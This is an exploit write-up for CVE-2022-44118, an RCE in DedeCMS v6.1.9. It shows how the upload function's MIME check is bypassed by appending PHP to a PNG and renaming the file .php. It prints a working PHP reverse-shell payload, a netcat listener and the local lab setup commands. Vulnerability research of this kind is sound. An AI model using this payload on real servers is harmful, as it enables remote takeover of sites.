CVE-2022-44118

Submission by Team 13

Description

dedecmdv6 v6.1.9 is vulnerable to Remote Code Execution (RCE) via file_manage_control.php.

https://nvd.nist.gov/vuln/detail/CVE-2022-44118

Exploit

Analyzing `file_manage_control.php`

Version `6.1.9` of the package has the `__upload()` function in `file_manage_control.php` which is used to upload files to the file management system.

Analyzing `__upload()`

The part of the code labelled `__upload()` performs a MIME-type check on our uploaded file using the function `get_mime_type`:

```
/*---------------
function __upload();
----------------*/
else if ($fmdo == "upload") {
    $j = 0;
    for ($i = 1; $i <= 50; $i++) {
        $upfile = "upfile".$i;
        $upfile_name = "upfile".$i."_name";
        if (!isset(${$upfile}) || !isset(${$upfile_name})) {
            continue;
        }
        $upfile = ${$upfile};
        $upfile_name = ${$upfile_name};
        if (is_uploaded_file($upfile)) {
            // □□□□□□□
            $mime = get_mime_type($upfile);
            if (preg_match("#^unknow#", $mime)) {
                ShowMsg("□□□□□□fileinfo□□□□□□php.ini□□□□", -1);
                exit;
            }
            if (!preg_match("#^(image|video|audio|application)#i", $mime)) {
                ShowMsg("□□□□□□□□□□□□□□□□", -1);
                exit;
            }
            if (!file_exists($cfg_basedir.$activepath."/".$upfile_name)) {
                move_uploaded_file($upfile,
$cfg_basedir.$activepath."/".$upfile_name);
```

```
            }
            @unlink($upfile);
            $j++;
        }
    }
    ShowMsg("□□□□ $j □□□□: $activepath", "file_manage_main.php?
activepath=$activepath");
    exit();
}
```

This function `get_mime_type()` is from `src/system/common.func.php` file.

This function is defined like this:

```
function get_mime_type($filename)
{
    if (! function_exists('finfo_open'))
    {
        return 'unknow/octet-stream';
    }

    $finfo    = finfo_open(FILEINFO_MIME_TYPE);
    $mimeType = finfo_file($finfo, $filename);
    finfo_close($finfo);
    return $mimeType;
}
```

This function gets the MIME type of the file using the header of the file and png is one of the allowed MIME type.

The attack

We include a php reverse shell code at the end of a sample png file and then we rename it with php extension so that the php code is executed when the file is rendered. The CMS software only allows us to upload images, but by this method we can execute arbitary PHP code on the server.

Demonstration

We have our DedeCMSv6 running in local PHP server .

This is the payload we have used in our `b.php` :

```
<?php $sock=fsockopen("127.0.0.1",6969);$proc=proc_open("/bin/sh -i", array(0=>$sock,
1=>$sock, 2=>$sock),$pipes); ?>
```

We append this payload to the end of a `.png` file and rename it to `b.php`. We have to upload this `b.php` file in the server and access the file from the browser which will execute the PHP code in the file.

Commands to set up server

To set up DedeCMS Server:

Run this command inside the `src` directory

```
php -S localhost:8088 -t .
```

Reverse shell Receiver

```
nc -nlvp 6969
```